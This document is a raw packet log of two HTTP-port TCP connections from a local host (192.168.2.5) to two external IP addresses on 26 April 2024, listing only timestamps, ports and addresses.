Apr 26, 2024 11:06:10.322457075 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.322509050 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322561026 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322561979 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.322609901 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322664976 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322706938 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322706938 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.322747946 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.322755098 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322788954 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322835922 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.322863102 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322907925 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322954893 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.322967052 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.323013067 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323057890 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323059082 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.323103905 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323134899 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323147058 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.323194027 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323244095 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.323255062 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323311090 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323353052 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323354959 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.323393106 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323436975 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.323445082 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323501110 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323545933 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.323545933 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323595047 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323643923 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.323656082 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323702097 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323740959 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323788881 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.323813915 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323847055 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323862076 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.323892117 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.323944092 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.323955059 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324019909 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324073076 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.324090004 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324172974 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324189901 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324220896 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.324265003 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324302912 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324311972 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.324359894 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324404001 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.324420929 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324451923 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324495077 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324496984 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.324546099 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324585915 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324628115 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.324660063 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324692965 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324711084 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.324718952 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324760914 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.324790955 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324836969 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.324882030 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.324889898 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325031996 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325073957 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325081110 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.325114012 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325170994 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.325177908 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325231075 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325275898 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.325278044 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325330973 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325385094 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325416088 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325428009 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.325457096 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.325464964 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325556993 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325609922 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325619936 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.325627089 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325670958 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.325700045 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325747967 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325793028 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.325859070 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325908899 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.325961113 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326010942 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326011896 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.326057911 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.326061010 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326123953 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326172113 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326175928 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.326189995 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326236010 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.326257944 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326302052 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326344013 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326350927 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.326399088 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326450109 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326487064 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.326627016 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326679945 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326702118 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.326721907 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.326756001 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.326977968 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327032089 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327078104 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.327089071 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327142954 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327197075 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327202082 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.327250004 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327318907 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327353954 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.327363014 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327409983 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327414989 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.327483892 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327527046 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327532053 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.327567101 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327606916 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327631950 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.327680111 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327718973 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327722073 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.327784061 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327825069 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327836037 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.327863932 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327909946 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.327923059 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327950954 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.327994108 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.328033924 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328046083 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328094006 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.328114986 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328166008 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328217983 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328234911 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.328283072 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328325987 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.328358889 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328413963 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328454971 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.328468084 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328499079 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328545094 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.328562021 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328599930 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328625917 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328656912 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.328711987 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328758001 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.328782082 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328794003 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328855991 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328888893 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.328901052 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328948021 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.328952074 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.328998089 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329037905 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329056025 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.329082012 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329132080 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.329138994 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329271078 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329317093 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.329346895 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329404116 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329418898 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329459906 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.329500914 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329555035 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.329560995 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329616070 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329643011 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329662085 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.329710960 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329736948 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329757929 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.329823971 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329849958 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329869986 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.329907894 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329936028 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.329952955 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.330008030 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330061913 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.330130100 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330199957 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330251932 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.330276966 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330315113 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330384016 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.330391884 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330431938 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330476046 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.330482960 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330538034 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330559969 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330584049 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.330609083 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330660105 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.330661058 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330694914 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330739975 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.330744982 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330811024 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330842972 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330854893 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.330887079 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.330928087 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.330986023 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331049919 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331094027 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331094980 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.331202030 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331234932 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331245899 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.331271887 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331327915 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331368923 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.331398964 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331450939 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331496000 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331505060 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.331541061 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.331557989 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331620932 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331679106 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331723928 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.331727982 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331772089 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.331778049 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331844091 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331876040 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331888914 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.331934929 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.331995964 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.332003117 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332045078 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332089901 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.332108974 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332137108 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332199097 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332235098 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332257032 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.332285881 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.332289934 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332355022 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332395077 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332417011 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332442999 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.332472086 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.332492113 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332520962 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.332565069 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.332602024 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:10.377315998 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:10.452845097 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.452951908 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.452955008 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.453016043 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.453078032 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.453268051 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.453269005 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.453310013 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.453375101 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.453563929 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.453613043 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.453699112 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.453929901 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.453975916 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.453989983 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.454129934 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.454297066 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.454360008 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.454402924 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.454443932 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.454581976 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.454637051 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.454746962 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.454791069 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.454889059 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.455341101 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.455399990 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.455401897 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.455593109 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.455637932 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.455799103 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.455854893 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.455897093 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.455938101 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.455969095 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456007004 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.456038952 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456109047 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456150055 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.456182957 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456211090 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456254959 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.456289053 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456325054 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456366062 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.456417084 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456460953 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456501961 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.456513882 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456568003 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456609011 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.456660032 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456718922 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:10.456762075 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:10.456778049 CEST	80	49712	185.172.128.76	192.168.2.5
